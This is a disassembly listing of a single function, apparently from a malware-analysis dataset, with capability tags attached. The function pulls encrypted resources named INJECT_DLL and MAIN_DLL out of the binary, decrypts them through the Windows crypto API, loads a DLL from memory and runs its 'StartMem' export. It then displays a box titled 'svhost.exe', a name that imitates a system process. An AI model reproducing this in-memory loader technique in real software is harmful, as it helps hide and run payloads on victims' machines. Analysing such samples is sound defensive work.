Function at 0x4014e0
Capabilities:
Encrypt or decrypt via wincrypt
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
push ebx
push esi
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x42c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0
mov ax, 0x45ff
mov bx, 0x77ee
add bx, ax
mov ax, 0x1487
add bx, ax
mov dx, 0xffee
sub dx, bx
push str.MAIN_KEY
push 0x8e
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x42c], eax
push str.MAIN_KEY
push 0x8e
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
add eax, 1
push eax
call fcn.00402e3f
add esp, 4
mov dword [ebp - 0x424], eax
mov ecx, dword [ebp - 0x42c]
add ecx, 1
xor eax, eax
mov edi, dword [ebp - 0x424]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x42c]
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x424]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x424]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x440], 0xffffffff
cmp dword [ebp - 0x440], 0
jbe 0x40160e
mov ecx, dword [ebp - 0x440]
mov dword [ebp - 0x460], ecx
jmp 0x401618
mov dword [ebp - 0x460], 1
mov edx, dword [ebp - 0x460]
mov dword [ebp - 0x43c], edx
cmp dword [ebp - 0x43c], 2
ja 0x401639
mov dword [ebp - 0x464], 1
jmp 0x401648
mov eax, dword [ebp - 0x43c]
sub eax, 2
mov dword [ebp - 0x464], eax
mov ecx, dword [ebp - 0x464]
cmp ecx, dword [ebp - 0x45c]
jae 0x40165b
call fcn.004027a5
cmp dword [0x40eeac], 0
je 0x401789
mov edx, dword [0x40eeac]
xor eax, eax
mov al, byte [edx - 1]
test eax, eax
je 0x401789
mov ecx, dword [0x40eeac]
xor edx, edx
mov dl, byte [ecx - 1]
cmp edx, 0xff
je 0x401789
cmp dword [ebp - 0x45c], 0
jne 0x40176c
mov eax, dword [0x40eeac]
sub eax, 1
mov dword [ebp - 0x468], eax
mov ecx, dword [ebp - 0x468]
mov dl, byte [ecx]
sub dl, 1
mov eax, dword [ebp - 0x468]
mov byte [eax], dl
xor ecx, ecx
test ecx, ecx
je 0x4016cf
cmp dword [0x40eeac], 0
jne 0x4016d1
jmp 0x401742
mov edx, dword [0x40eeac]
xor eax, eax
mov al, byte [edx - 1]
test eax, eax
je 0x4016f3
mov ecx, dword [0x40eeac]
xor edx, edx
mov dl, byte [ecx - 1]
cmp edx, 0xff
jne 0x401721
mov eax, dword [0x40eeb4]
add eax, 2
mov dword [ebp - 0x448], eax
mov ecx, dword [0x40eeac]
sub ecx, 1
mov dword [ebp - 0x444], ecx
mov edx, dword [ebp - 0x444]
push edx
call fcn.00402d23
add esp, 4
jmp 0x401742
mov eax, dword [0x40eeac]
sub eax, 1
mov dword [ebp - 0x46c], eax
mov ecx, dword [ebp - 0x46c]
mov dl, byte [ecx]
sub dl, 1
mov eax, dword [ebp - 0x46c]
mov byte [eax], dl
mov dword [0x40eeac], 0
mov dword [0x40eeb0], 0
mov dword [0x40eeb4], 0
mov byte [ebp - 0x44c], 0
jmp 0x401835
mov ecx, dword [ebp - 0x45c]
push ecx
mov ecx, 0x40eea8
call fcn.00401c50
mov byte [ebp - 0x44c], 1
jmp 0x401835
cmp dword [ebp - 0x45c], 0
jne 0x4017c7
mov edx, 1
test edx, edx
je 0x4017a9
push 1
mov ecx, 0x40eea8
call fcn.00401b70
jmp 0x4017be
cmp dword [0x40eeac], 0
je 0x4017be
push 0
mov ecx, 0x40eea8
call fcn.00401c20
mov byte [ebp - 0x44c], 0
jmp 0x401835
mov eax, 1
test eax, eax
je 0x401806
cmp dword [0x40eeb4], 0x1f
ja 0x4017e7
mov ecx, dword [0x40eeb4]
cmp ecx, dword [ebp - 0x45c]
jae 0x401806
push 1
mov ecx, 0x40eea8
call fcn.00401b70
mov edx, dword [ebp - 0x45c]
push edx
mov ecx, 0x40eea8
call fcn.00401c50
jmp 0x40182e
mov eax, 1
test eax, eax
jne 0x40182e
mov ecx, dword [0x40eeb4]
cmp ecx, dword [ebp - 0x45c]
jae 0x40182e
mov edx, dword [ebp - 0x45c]
push edx
mov ecx, 0x40eea8
call fcn.00401c50
mov byte [ebp - 0x44c], 1
mov eax, dword [ebp - 0x44c]
and eax, 0xff
test eax, eax
je 0x4018a2
mov ecx, dword [0x40eeac]
mov dword [ebp - 0x450], ecx
mov ecx, dword [ebp - 0x45c]
mov esi, dword [ebp - 0x424]
mov edi, dword [ebp - 0x450]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x454], 0
mov eax, dword [ebp - 0x45c]
mov dword [0x40eeb0], eax
mov ecx, dword [0x40eeac]
add ecx, dword [ebp - 0x45c]
mov dword [ebp - 0x458], ecx
mov edx, dword [ebp - 0x458]
mov al, byte [ebp - 0x454]
mov byte [edx], al
call fcn.00401350
test eax, eax
jne 0x4018b2
xor eax, eax
jmp 0x401abd
push str.INJECT_DLL
push 0x8c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x414]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 8]
push ecx
push str.Size_res_From_memory:__d_n
lea edx, [ebp - 0x414]
push edx
call fcn.00402ded
add esp, 0xc
push str.INJECT_DLL
push 0x8c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call fcn.00402e3f
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x41c], eax
lea ecx, [ebp - 0x41c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
push 1
push 0
mov eax, dword [0x40ee7c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x401973
xor eax, eax
jmp 0x401abd
push str.MAIN_DLL
push 0x8d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x428], eax
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x414]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 8]
push ecx
push str.Size_res_From_memory:__d_n
lea edx, [ebp - 0x414]
push edx
call fcn.00402ded
add esp, 0xc
push str.MAIN_DLL
push 0x8d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x428]
push eax
call fcn.00402e3f
add esp, 4
mov dword [ebp - 0x420], eax
mov ecx, dword [ebp - 0x428]
mov esi, dword [ebp - 0x434]
mov edi, dword [ebp - 0x420]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x430], eax
lea ecx, [ebp - 0x430]
push ecx
mov edx, dword [ebp - 0x420]
push edx
push 0
push 1
push 0
mov eax, dword [0x40ee7c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x401a4c
xor eax, eax
jmp 0x401abd
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00401ee0
add esp, 4
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
jne 0x401a6b
xor eax, eax
jmp 0x401abd
push str.StartMem
mov edx, dword [ebp - 0x418]
push edx
call fcn.004025d0
add esp, 8
mov dword [ebp - 0x14], eax
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x414]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x420]
push eax
call dword [ebp - 0x14]
add esp, 4
mov dword [ebp - 0x438], eax
push 0x40
push str.svhost.exe
push 0x40c06c
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret